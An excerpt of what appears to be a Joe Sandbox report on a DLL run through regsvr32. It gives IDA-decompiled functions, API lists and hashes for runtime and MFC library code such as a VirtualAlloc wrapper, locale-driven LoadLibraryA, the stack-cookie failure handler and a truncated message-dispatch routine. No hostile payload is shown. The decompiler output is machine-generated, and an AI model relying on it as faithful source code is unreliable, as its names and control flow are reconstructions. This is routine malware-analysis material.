Part of subcall function 6EB6A558: TlsGetValue.KERNEL32(00000000,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A56A
Part of subcall function 6EB6A558: TlsGetValue.KERNEL32(00000006,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A581
Part of subcall function 6EB6A558: RtlEncodePointer.NTDLL(00000000,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A5BF

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 6b34ec9ec936095544e22a55cd767d6fab6d79078d5ffdde920814acadeb4b57
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EB43F50 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB43F50(void* _a4, long _a8, long _a12, long _a16) {
				void* _t7;

				_t7 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t7;
			}

0x6eb43f64
0x6eb43f6a

APIs

VirtualAlloc.KERNELBASE(?,?,-00001006,?,6EB449B6,?,?,-00001006,?,00000000), ref: 6EB43F64

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f7bac33966342626bdbf7d9452b3e69bb9a3c1b9a51c1ea234fad32535c4f6d5
Instruction ID: 160d73168f5cbb198e20a5a444127c4c93d1d9429af90e9c27cf5b95651bbe37
Opcode Fuzzy Hash: f7bac33966342626bdbf7d9452b3e69bb9a3c1b9a51c1ea234fad32535c4f6d5
Instruction Fuzzy Hash: 8DC002B9608302BF9A04DB54C888C6BBBEDEBC9340F00C90DB59983320C630E844CF22

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EB505A6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB505A6(void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __ebx;
				void* __esi;
				signed int _t9;
				struct HINSTANCE__* _t13;
				intOrPtr* _t20;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t36;
				signed int _t37;
				void* _t39;
				void* _t40;
				signed int _t45;
				void* _t46;

				_t36 = __edi;
				_t35 = __edx;
				_t31 = __ecx;
				_t43 = _t45;
				_t46 = _t45 - 0x11c;
				_t9 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t9 ^ _t45;
				_t49 = _a4 - 0x800;
				_t39 = __ecx;
				_t28 = __edx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags == 0) {
						goto L10;
					} else {
						goto L4;
					}
				} else {
					E6EB48BEF(__edx, _t31, __edi, _t39, L6EB671B0(__edx,  &_v288, 4, "LOC"));
					_t46 = _t46 + 0x10;
					L4:
					_push(_t36);
					_t37 =  *(E6EB66B6E(_t49));
					 *(E6EB66B6E(_t49)) =  *_t16 & 0x00000000;
					_push( &_v288);
					_t30 = E6EB66E7C( &_v284, 0x112, 0x111, _t39, _t28);
					_t20 = E6EB66B6E(_t49);
					_t50 =  *_t20;
					if( *_t20 == 0) {
						 *(E6EB66B6E(__eflags)) = _t37;
					} else {
						E6EB48EF7( *((intOrPtr*)(E6EB66B6E(_t50))));
					}
					_pop(_t36);
					if(_t30 == 0xffffffff || _t30 >= 0x112) {
						L10:
						_t13 = 0;
						__eflags = 0;
					} else {
						_t13 = LoadLibraryA( &_v284);
					}
				}
				_pop(_t40);
				_pop(_t29);
				return E6EB63DE0(_t13, _t29, _v8 ^ _t43, _t35, _t36, _t40);
			}

0x6eb505a6
0x6eb505a6
0x6eb505a6
0x6eb505a9
0x6eb505ab
0x6eb505b1
0x6eb505b8
0x6eb505bb
0x6eb505c4
0x6eb505c6
0x6eb505ce
0x6eb505f6
0x6eb505f8
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb505d0
0x6eb505de
0x6eb505e3
0x6eb505fa
0x6eb505fa
0x6eb50600
0x6eb50607
0x6eb50610
0x6eb5062d
0x6eb5062f
0x6eb50634
0x6eb50637
0x6eb5064d
0x6eb50639
0x6eb50640
0x6eb50645
0x6eb5064f
0x6eb50653
0x6eb50668
0x6eb50668
0x6eb50668
0x6eb50659
0x6eb50660
0x6eb50660
0x6eb50653
0x6eb5066d
0x6eb50670
0x6eb50677

APIs

_strcpy_s.LIBCMT ref: 6EB505D8

Part of subcall function 6EB66B6E: __getptd_noexit.LIBCMT ref: 6EB66B6E

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 6EB505F0
__snwprintf_s.LIBCMT ref: 6EB50625
LoadLibraryA.KERNEL32(?), ref: 6EB50660

Strings

LOC, xrefs: 6EB505D0

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: InfoLibraryLoadLocale__getptd_noexit__snwprintf_s_strcpy_s
String ID: LOC
API String ID: 1155623865-519433814
Opcode ID: d315b2c234114cf7c5d63e7d3bb1ea3d026ae72c4afacf5ceda5baaee152a348
Instruction ID: 07245aaa97cca12b95279c1cc3f369480b597e6d9429b7ccf8167b08e1c9d5e3
Opcode Fuzzy Hash: d315b2c234114cf7c5d63e7d3bb1ea3d026ae72c4afacf5ceda5baaee152a348
Instruction Fuzzy Hash: 4021D57056428CAFDB50AFF4CC46FDD3FACEB56719F0004A2E20597290EB708952DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB63DE0 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6EB63DE0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x6eb89470; // 0x6287ae78
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x6eb8cb50 = _t6;
				 *0x6eb8cb4c = _t22;
				 *0x6eb8cb48 = _t25;
				 *0x6eb8cb44 = _t21;
				 *0x6eb8cb40 = _t27;
				 *0x6eb8cb3c = _t26;
				 *0x6eb8cb68 = ss;
				 *0x6eb8cb5c = cs;
				 *0x6eb8cb38 = ds;
				 *0x6eb8cb34 = es;
				 *0x6eb8cb30 = fs;
				 *0x6eb8cb2c = gs;
				asm("pushfd");
				_pop( *0x6eb8cb60);
				 *0x6eb8cb54 =  *_t31;
				 *0x6eb8cb58 = _v0;
				 *0x6eb8cb64 =  &_a4;
				 *0x6eb8caa0 = 0x10001;
				_t11 =  *0x6eb8cb58; // 0x0
				 *0x6eb8ca54 = _t11;
				 *0x6eb8ca48 = 0xc0000409;
				 *0x6eb8ca4c = 1;
				_t12 =  *0x6eb89470; // 0x6287ae78
				_v812 = _t12;
				_t13 =  *0x6eb89474; // 0x9d785187
				_v808 = _t13;
				 *0x6eb8ca98 = IsDebuggerPresent();
				_push(1);
				E6EB70A52(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x6eb7c734);
				if( *0x6eb8ca98 == 0) {
					_push(1);
					E6EB70A52(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x6eb63de0
0x6eb63de0
0x6eb63de0
0x6eb63de0
0x6eb63de0
0x6eb63de0
0x6eb63de0
0x6eb63de6
0x6eb63de8
0x6eb63de8
0x6eb6851a
0x6eb6851f
0x6eb68525
0x6eb6852b
0x6eb68531
0x6eb68537
0x6eb6853d
0x6eb68544
0x6eb6854b
0x6eb68552
0x6eb68559
0x6eb68560
0x6eb68567
0x6eb68568
0x6eb68571
0x6eb68579
0x6eb68581
0x6eb6858c
0x6eb68596
0x6eb6859b
0x6eb685a0
0x6eb685aa
0x6eb685b4
0x6eb685b9
0x6eb685bf
0x6eb685c4
0x6eb685d0
0x6eb685d5
0x6eb685d7
0x6eb685df
0x6eb685ea
0x6eb685f7
0x6eb685f9
0x6eb685fb
0x6eb68600
0x6eb68614

APIs

IsDebuggerPresent.KERNEL32 ref: 6EB685CA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EB685DF
UnhandledExceptionFilter.KERNEL32(6EB7C734), ref: 6EB685EA
GetCurrentProcess.KERNEL32(C0000409), ref: 6EB68606
TerminateProcess.KERNEL32(00000000), ref: 6EB6860D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3a808d24b0073a837386cee09f31aa85ea66ae66d4ae177a8798fbd74573f3cc
Instruction ID: 08c57250e530db419fef142d4a3a94ae90023b0f7562f2e1cf863e6003f7b92d
Opcode Fuzzy Hash: 3a808d24b0073a837386cee09f31aa85ea66ae66d4ae177a8798fbd74573f3cc
Instruction Fuzzy Hash: EE21E2F8411E48DFDF10DFA8E0856463BB4FB2B314F20521AE9098BB40E7719984CF86

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4E423 Relevance: 2.0, APIs: 1, Instructions: 452
COMMONCrypto

Download Yara Rule

C-Code - Quality: 37%

			E6EB4E423(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t156;
				signed int _t158;
				signed int* _t161;
				intOrPtr _t168;
				intOrPtr* _t169;
				signed int _t172;
				signed int _t175;
				signed int* _t179;
				signed int* _t182;
				signed int _t186;
				signed int _t190;
				signed int _t194;
				signed int _t198;
				signed int _t201;
				signed int* _t203;
				signed int _t204;
				signed int _t205;
				intOrPtr* _t206;
				signed int _t207;
				signed int _t222;
				signed int _t226;
				unsigned int _t233;
				void* _t234;

				_t209 = __ecx;
				_push(0x70);
				E6EB664FB(0x6eb77607, __ebx, __edi, __esi);
				_t231 = __ecx;
				 *((intOrPtr*)(_t234 - 0x10)) = 0;
				 *((intOrPtr*)(_t234 - 0x14)) = 0x7fffffff;
				_t198 =  *(_t234 + 8);
				 *(_t234 - 4) = 0;
				if(_t198 != 0x111) {
					__eflags = _t198 - 0x4e;
					if(_t198 != 0x4e) {
						_t233 =  *(_t234 + 0x10);
						__eflags = _t198 - 6;
						if(_t198 == 6) {
							E6EB4DDDC(_t209, _t231,  *((intOrPtr*)(_t234 + 0xc)), E6EB4C72D(_t198, __ecx, _t233));
						}
						__eflags = _t198 - 0x20;
						if(_t198 != 0x20) {
							L12:
							_t156 =  *(_t231 + 0x4c);
							__eflags = _t156;
							if(_t156 == 0) {
								L20:
								_t158 =  *((intOrPtr*)( *_t231 + 0x28))();
								 *(_t234 + 0x10) = _t158;
								_t201 = (_t158 ^  *(_t234 + 8)) & 0x000001ff;
								E6EB4B3D6(_t201, _t234 - 0x14, _t231, _t233, 7);
								_t203 = 0x6eb8ad18 + _t201 * 0xc;
								 *(_t234 - 0x18) = _t203;
								__eflags =  *(_t234 + 8) -  *_t203;
								if( *(_t234 + 8) !=  *_t203) {
									L25:
									_t161 =  *(_t234 - 0x18);
									_t204 =  *(_t234 + 0x10);
									 *_t161 =  *(_t234 + 8);
									_t161[2] = _t204;
									while(1) {
										__eflags =  *_t204;
										if( *_t204 == 0) {
											break;
										}
										__eflags =  *(_t234 + 8) - 0xc000;
										_push(0);
										_push(0);
										if( *(_t234 + 8) >= 0xc000) {
											_push(0xc000);
											_push( *((intOrPtr*)( *(_t234 + 0x10) + 4)));
											while(1) {
												_t205 = E6EB4AAFE();
												__eflags = _t205;
												if(_t205 == 0) {
													break;
												}
												__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0x10)))) -  *(_t234 + 8);
												if( *((intOrPtr*)( *((intOrPtr*)(_t205 + 0x10)))) ==  *(_t234 + 8)) {
													( *(_t234 - 0x18))[1] = _t205;
													E6EB4B40A(_t234 - 0x14);
													L113:
													_t206 =  *((intOrPtr*)(_t205 + 0x14));
													L114:
													_push(_t233);
													L115:
													_push( *((intOrPtr*)(_t234 + 0xc)));
													L116:
													_t168 =  *_t206();
													L117:
													 *((intOrPtr*)(_t234 - 0x10)) = _t168;
													goto L118;
												}
												_push(0);
												_push(0);
												_push(0xc000);
												_t207 = _t205 + 0x18;
												__eflags = _t207;
												_push(_t207);
											}
											_t204 =  *(_t234 + 0x10);
											L36:
											_t204 =  *_t204();
											 *(_t234 + 0x10) = _t204;
											continue;
										}
										_push( *(_t234 + 8));
										_push( *((intOrPtr*)(_t204 + 4)));
										_t175 = E6EB4AAFE();
										 *(_t234 + 0x10) = _t175;
										__eflags = _t175;
										if(_t175 == 0) {
											goto L36;
										}
										( *(_t234 - 0x18))[1] = _t175;
										E6EB4B40A(_t234 - 0x14);
										L29:
										_t222 =  *((intOrPtr*)( *(_t234 + 0x10) + 0x10)) - 1;
										__eflags = _t222 - 0x53;
										if(__eflags > 0) {
											goto L118;
										}
										switch( *((intOrPtr*)(_t222 * 4 +  &M6EB4E9E7))) {
											case 0:
												_push(E6EB4997F(__ebx, __ecx, __edi, __esi, __eflags,  *(__ebp + 0xc)));
												goto L44;
											case 1:
												_push( *(__ebp + 0xc));
												goto L44;
											case 2:
												__eax = __esi;
												__eax = __esi >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = __si & 0x0000ffff;
												_push(__si & 0x0000ffff);
												__eax = E6EB4C72D(__ebx, __ecx,  *(__ebp + 0xc));
												goto L50;
											case 3:
												_push(__esi);
												__eax = E6EB4C72D(__ebx, __ecx,  *(__ebp + 0xc));
												goto L42;
											case 4:
												_push(__esi);
												L44:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L117;
											case 5:
												__ecx = __ebp - 0x28;
												E6EB49495(__ebp - 0x28) =  *(__esi + 4);
												__ecx = __ebp - 0x7c;
												 *((char*)(__ebp - 4)) = 1;
												 *(__ebp - 0x24) =  *(__esi + 4);
												__eax = E6EB4B426(__ecx, __eflags);
												__eax =  *__esi;
												__esi =  *(__esi + 8);
												 *((char*)(__ebp - 4)) = 2;
												 *(__ebp - 0x5c) = __eax;
												__eax = E6EB4C759(__ecx, __edi, __esi, __eflags, __eax);
												__eflags = __eax;
												if(__eax == 0) {
													__eax =  *(__edi + 0x4c);
													__eflags = __eax;
													if(__eax != 0) {
														__ecx = __eax + 0x24;
														__eax = E6EB55EF3(__eax + 0x24, __edi, __esi,  *(__ebp - 0x5c));
														__eflags = __eax;
														if(__eax != 0) {
															 *(__ebp - 0x2c) = __eax;
														}
													}
													__eax = __ebp - 0x7c;
												}
												_push(__esi);
												_push(__eax);
												__eax = __ebp - 0x28;
												_push(__ebp - 0x28);
												__ecx = __edi;
												__eax =  *__ebx();
												 *(__ebp - 0x24) =  *(__ebp - 0x24) & 0x00000000;
												_t84 = __ebp - 0x5c;
												 *_t84 =  *(__ebp - 0x5c) & 0x00000000;
												__eflags =  *_t84;
												__ecx = __ebp - 0x7c;
												 *(__ebp - 0x10) = __ebp - 0x28;
												 *((char*)(__ebp - 4)) = 1;
												__eax = E6EB4CF0C(__ebx, __ebp - 0x7c, __edi, __esi,  *_t84);
												goto L59;
											case 6:
												__ecx = __ebp - 0x28;
												E6EB49495(__ebp - 0x28) =  *(__esi + 4);
												_push( *(__esi + 8));
												 *(__ebp - 0x24) =  *(__esi + 4);
												__eax = __ebp - 0x28;
												_push(__ebp - 0x28);
												__ecx = __edi;
												 *((char*)(__ebp - 4)) = 3;
												__eax =  *__ebx();
												 *(__ebp - 0x24) =  *(__ebp - 0x24) & 0x00000000;
												 *(__ebp - 0x10) = __ebp - 0x28;
												L59:
												__ecx = __ebp - 0x28;
												 *((char*)(__ebp - 4)) = 0;
												__eax = E6EB499FC(__ecx);
												goto L118;
											case 7:
												__eax =  *(__ebp + 0xc);
												__eax =  *(__ebp + 0xc) >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = E6EB4C72D(__ebx, __ecx, __esi);
												goto L62;
											case 8:
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												goto L42;
											case 9:
												goto L114;
											case 0xa:
												_push(E6EB53E65(__ebx, __ecx, __edi, __esi, __eflags, __esi));
												__eax =  *(__ebp + 0xc);
												__eax =  *(__ebp + 0xc) >> 0x10;
												L62:
												_push(__eax);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												L50:
												_push(__eax);
												__ecx = __edi;
												__eax =  *__ebx();
												goto L117;
											case 0xb:
												_push(__esi);
												goto L110;
											case 0xc:
												_push( *(__ebp + 0xc));
												goto L66;
											case 0xd:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L118;
											case 0xe:
												__eax =  *(__ebp + 0xc);
												__eax =  *(__ebp + 0xc) >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												goto L69;
											case 0xf:
												_push(__esi >> 0x10);
												__eax = __si;
												goto L69;
											case 0x10:
												__eax = __esi;
												__eax = __esi >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = __si & 0x0000ffff;
												goto L72;
											case 0x11:
												__eax = E6EB4C72D(__ebx, __ecx, __esi);
												goto L48;
											case 0x12:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L117;
											case 0x13:
												_push(E6EB4C72D(__ebx, __ecx,  *(__ebp + 0xc)));
												_push(E6EB4C72D(__ebx, __ecx, __esi));
												__eax = 0;
												__eflags =  *((intOrPtr*)(__edi + 0x20)) - __esi;
												_t112 =  *((intOrPtr*)(__edi + 0x20)) == __esi;
												__eflags = _t112;
												__eax = 0 | _t112;
												goto L75;
											case 0x14:
												__eax = E6EB4997F(__ebx, __ecx, __edi, __esi, __eflags,  *(__ebp + 0xc));
												goto L77;
											case 0x15:
												__eax = E6EB53E65(__ebx, __ecx, __edi, __esi, __eflags,  *(__ebp + 0xc));
												goto L77;
											case 0x16:
												__esi = __esi >> 0x10;
												_push(__esi >> 0x10);
												__eax = __si;
												_push(__si);
												__eax = E6EB53E65(__ebx, __ecx, __edi, __esi, __eflags,  *(__ebp + 0xc));
												goto L75;
											case 0x17:
												_push( *(__ebp + 0xc));
												goto L81;
											case 0x18:
												_push(__esi);
												L81:
												__eax = E6EB4C72D(__ebx, __ecx);
												L77:
												_push(__eax);
												goto L66;
											case 0x19:
												__eax = __esi;
												__eax = __esi >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = __si & 0x0000ffff;
												goto L84;
											case 0x1a:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__ecx);
												L84:
												_push(__eax);
												__eax = E6EB4C72D(__ebx, __ecx,  *(__ebp + 0xc));
												goto L75;
											case 0x1b:
												_push(__esi);
												__eax = E6EB4C72D(__ebx, __ecx,  *(__ebp + 0xc));
												goto L69;
											case 0x1c:
												__eax =  *(__ebp + 0xc);
												__eax =  *(__ebp + 0xc) >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = E6EB4C72D(__ebx, __ecx, __esi);
												goto L88;
											case 0x1d:
												__ecx =  *(__ebp + 0xc);
												__edx = __cx;
												__ecx =  *(__ebp + 0xc) >> 0x10;
												__ecx = __cx;
												 *((intOrPtr*)(__ebp + 8)) = __edx;
												 *(__ebp + 0xc) = __ecx;
												__eflags = __eax - 0x2a;
												if(__eax != 0x2a) {
													_push(__ecx);
													_push(__edx);
													goto L111;
												}
												_push(E6EB4C72D(__ebx, __ecx, __esi));
												_push( *(__ebp + 0xc));
												_push( *((intOrPtr*)(__ebp + 8)));
												goto L73;
											case 0x1e:
												_push(__esi);
												L66:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L118;
											case 0x1f:
												_push(__esi);
												_push( *(__ebp + 0xc));
												__ecx = __edi;
												__eax =  *__ebx();
												goto L2;
											case 0x20:
												__eax = __si;
												__eflags = __esi;
												__ecx = __si;
												_push(__ecx);
												L42:
												_push(__eax);
												goto L116;
											case 0x21:
												__eax =  *(__ebp + 0xc);
												_push(__esi);
												__eax =  *(__ebp + 0xc) >> 0x10;
												L88:
												_push(__eax);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												L75:
												_push(__eax);
												goto L73;
											case 0x22:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__si);
												L72:
												_push(__eax);
												_push( *(__ebp + 0xc));
												L73:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L118;
											case 0x23:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__si);
												_push(__si);
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												_push( *(__ebp + 0xc) & 0x0000ffff);
												__ecx = __edi;
												__eax =  *__ebx();
												 *(__ebp - 0x10) =  *(__ebp + 0xc) & 0x0000ffff;
												L6:
												__eflags = _t194;
												if(_t194 != 0) {
													goto L118;
												}
												goto L39;
											case 0x24:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__si);
												_push(__si);
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												_push( *(__ebp + 0xc) & 0x0000ffff);
												__ecx = __edi;
												__eax =  *__ebx();
												goto L118;
											case 0x25:
												goto L118;
											case 0x26:
												__ecx = __edi;
												__eax =  *__ebx();
												 *(__ebp - 0x10) = __eax;
												__eflags = __eax;
												if(__eax == 0) {
													goto L118;
												}
												L39:
												 *(_t234 - 4) =  *(_t234 - 4) | 0xffffffff;
												E6EB4B40A(_t234 - 0x14);
												_t172 = 0;
												__eflags = 0;
												goto L40;
											case 0x27:
												__eax = E6EB53E65(__ebx, __ecx, __edi, __esi, __eflags, __esi);
												L48:
												_push(__eax);
												L110:
												_push( *(__ebp + 0xc));
												goto L111;
											case 0x28:
												_push(E6EB53E65(__ebx, __ecx, __edi, __esi, __eflags, __esi));
												goto L115;
											case 0x29:
												_push(__esi);
												__eax = E6EB53E65(__ebx, __ecx, __edi, __esi, __eflags,  *(__ebp + 0xc));
												goto L69;
											case 0x2a:
												__ecx = __si & 0x0000ffff;
												_push(__si & 0x0000ffff);
												__eax = __esi;
												__eax = __esi >> 0x10;
												__ecx = __eax;
												__ecx = __eax & 0x0000f000;
												_push(__ecx);
												__eax = __eax & 0x00000fff;
												__eflags = __eax;
												_push(__eax);
												__eax = E6EB4C72D(__ebx, __ecx,  *(__ebp + 0xc));
												goto L104;
											case 0x2b:
												__eax =  *(__ebp + 0xc) & 0x000000ff;
												_push(__esi);
												L69:
												_push(__eax);
												L111:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L118;
											case 0x2c:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__si);
												_push(__si);
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												L104:
												_push(__eax);
												goto L105;
											case 0x2d:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__si);
												_push(__si);
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												_push( *(__ebp + 0xc));
												L105:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L2;
										}
									}
									_t179 =  *(_t234 - 0x18);
									_t58 =  &(_t179[1]);
									 *_t58 = _t179[1] & 0x00000000;
									__eflags =  *_t58;
									E6EB4B40A(_t234 - 0x14);
									goto L39;
								}
								_t182 = _t203;
								__eflags =  *(_t234 + 0x10) - _t182[2];
								if( *(_t234 + 0x10) != _t182[2]) {
									goto L25;
								}
								_t205 = _t182[1];
								 *(_t234 + 0x10) = _t205;
								E6EB4B40A(_t234 - 0x14);
								__eflags = _t205;
								if(_t205 == 0) {
									goto L39;
								}
								__eflags =  *(_t234 + 8) - 0xc000;
								if( *(_t234 + 8) < 0xc000) {
									goto L29;
								}
								goto L113;
							}
							__eflags =  *(_t156 + 0x74);
							if( *(_t156 + 0x74) <= 0) {
								goto L20;
							}
							__eflags = _t198 - 0x200;
							if(_t198 < 0x200) {
								L16:
								__eflags = _t198 - 0x100;
								if(_t198 < 0x100) {
									L18:
									__eflags = _t198 - 0x281 - 0x10;
									if(_t198 - 0x281 > 0x10) {
										goto L20;
									}
									L19:
									_t186 =  *((intOrPtr*)( *( *(_t231 + 0x4c)) + 0x94))(_t198,  *((intOrPtr*)(_t234 + 0xc)), _t233, _t234 - 0x10);
									__eflags = _t186;
									if(_t186 != 0) {
										goto L118;
									}
									goto L20;
								}
								__eflags = _t198 - 0x10f;
								if(_t198 <= 0x10f) {
									goto L19;
								}
								goto L18;
							}
							__eflags = _t198 - 0x209;
							if(_t198 <= 0x209) {
								goto L19;
							}
							goto L16;
						} else {
							_t190 = E6EB4DE54(_t198, _t231, _t231, _t233, _t233 >> 0x10);
							__eflags = _t190;
							if(_t190 != 0) {
								L2:
								 *((intOrPtr*)(_t234 - 0x10)) = 1;
								L118:
								_t169 =  *((intOrPtr*)(_t234 + 0x14));
								if(_t169 != 0) {
									 *_t169 =  *((intOrPtr*)(_t234 - 0x10));
								}
								 *(_t234 - 4) =  *(_t234 - 4) | 0xffffffff;
								E6EB4B40A(_t234 - 0x14);
								_t172 = 1;
								L40:
								return E6EB665D3(_t172);
							}
							goto L12;
						}
					}
					_t226 =  *(_t234 + 0x10);
					__eflags =  *_t226;
					if( *_t226 == 0) {
						goto L39;
					}
					_push(_t234 - 0x10);
					_push(_t226);
					_push( *((intOrPtr*)(_t234 + 0xc)));
					_t194 =  *((intOrPtr*)( *__ecx + 0xf4))();
					goto L6;
				}
				_push( *(_t234 + 0x10));
